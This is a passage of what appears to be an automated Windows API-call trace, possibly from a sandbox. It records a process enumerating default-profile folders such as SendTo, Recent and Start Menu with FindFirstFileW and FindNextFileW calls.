hFindFile=0x1d1f52f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.862] FindClose (in: hFindFile=0x1d1f52f0 | out: hFindFile=0x1d1f52f0) returned 1 [0219.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.862] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", lpFilePart=0x0) returned 0x44 [0219.862] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\printer shortcuts\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3f10 [0219.862] FindNextFileW (in: hFindFile=0x1d1f3f10, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.863] FindNextFileW (in: hFindFile=0x1d1f3f10, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.863] FindClose (in: hFindFile=0x1d1f3f10 | out: hFindFile=0x1d1f3f10) returned 1 [0219.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.863] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", lpFilePart=0x0) returned 0x44 [0219.863] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\printer shortcuts\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3df0 [0219.863] FindNextFileW (in: hFindFile=0x1d1f3df0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.863] FindNextFileW (in: hFindFile=0x1d1f3df0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.864] FindClose (in: hFindFile=0x1d1f3df0 | out: hFindFile=0x1d1f3df0) returned 1 [0219.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.864] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpFilePart=0x0) returned 0x39 [0219.864] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f53b0 [0219.864] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.864] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.865] FindClose (in: hFindFile=0x1d1f53b0 | out: hFindFile=0x1d1f53b0) returned 1 [0219.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.865] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpFilePart=0x0) returned 0x39 [0219.865] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4690 [0219.865] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.865] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.865] FindClose (in: hFindFile=0x1d1f4690 | out: hFindFile=0x1d1f4690) returned 1 [0219.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.866] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", lpFilePart=0x0) returned 0x39 [0219.866] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37a4145, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37a4145, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4cf0 [0219.868] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37a4145, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37a4145, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.868] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Compressed (zipped) Folder.ZFSendToTarget", cAlternateFileName="COMPRE~1.ZFS")) returned 1 [0219.868] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop (create shortcut).DeskLink", cAlternateFileName="DESKTO~1.DES")) returned 1 [0219.868] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee2becc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x22e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0219.868] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x571e447b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x571e447b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x571e447b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fax Recipient.lnk", cAlternateFileName="")) returned 1 [0219.869] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973fb817, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973fb817, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 1 [0219.869] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.869] FindClose (in: hFindFile=0x1d1f4cf0 | out: hFindFile=0x1d1f4cf0) returned 1 [0219.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.870] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", lpFilePart=0x0) returned 0x39 [0219.870] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37a4145, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37a4145, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f43f0 [0219.871] FindNextFileW (in: hFindFile=0x1d1f43f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37a4145, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37a4145, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.871] FindNextFileW (in: hFindFile=0x1d1f43f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Compressed (zipped) Folder.ZFSendToTarget", cAlternateFileName="COMPRE~1.ZFS")) returned 1 [0219.871] FindNextFileW (in: hFindFile=0x1d1f43f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop (create shortcut).DeskLink", cAlternateFileName="DESKTO~1.DES")) returned 1 [0219.871] FindNextFileW (in: hFindFile=0x1d1f43f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee2becc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x22e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0219.872] FindNextFileW (in: hFindFile=0x1d1f43f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x571e447b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x571e447b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x571e447b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fax Recipient.lnk", cAlternateFileName="")) returned 1 [0219.872] FindNextFileW (in: hFindFile=0x1d1f43f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973fb817, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973fb817, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 1 [0219.872] FindNextFileW (in: hFindFile=0x1d1f43f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973fb817, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973fb817, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 0 [0219.872] FindClose (in: hFindFile=0x1d1f43f0 | out: hFindFile=0x1d1f43f0) returned 1 [0219.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.873] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", lpFilePart=0x0) returned 0x3d [0219.873] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f52f0 [0219.874] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.874] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0219.875] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 0 [0219.875] FindClose (in: hFindFile=0x1d1f52f0 | out: hFindFile=0x1d1f52f0) returned 1 [0219.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.875] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", lpFilePart=0x0) returned 0x3d [0219.875] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f50b0 [0219.876] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.876] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, 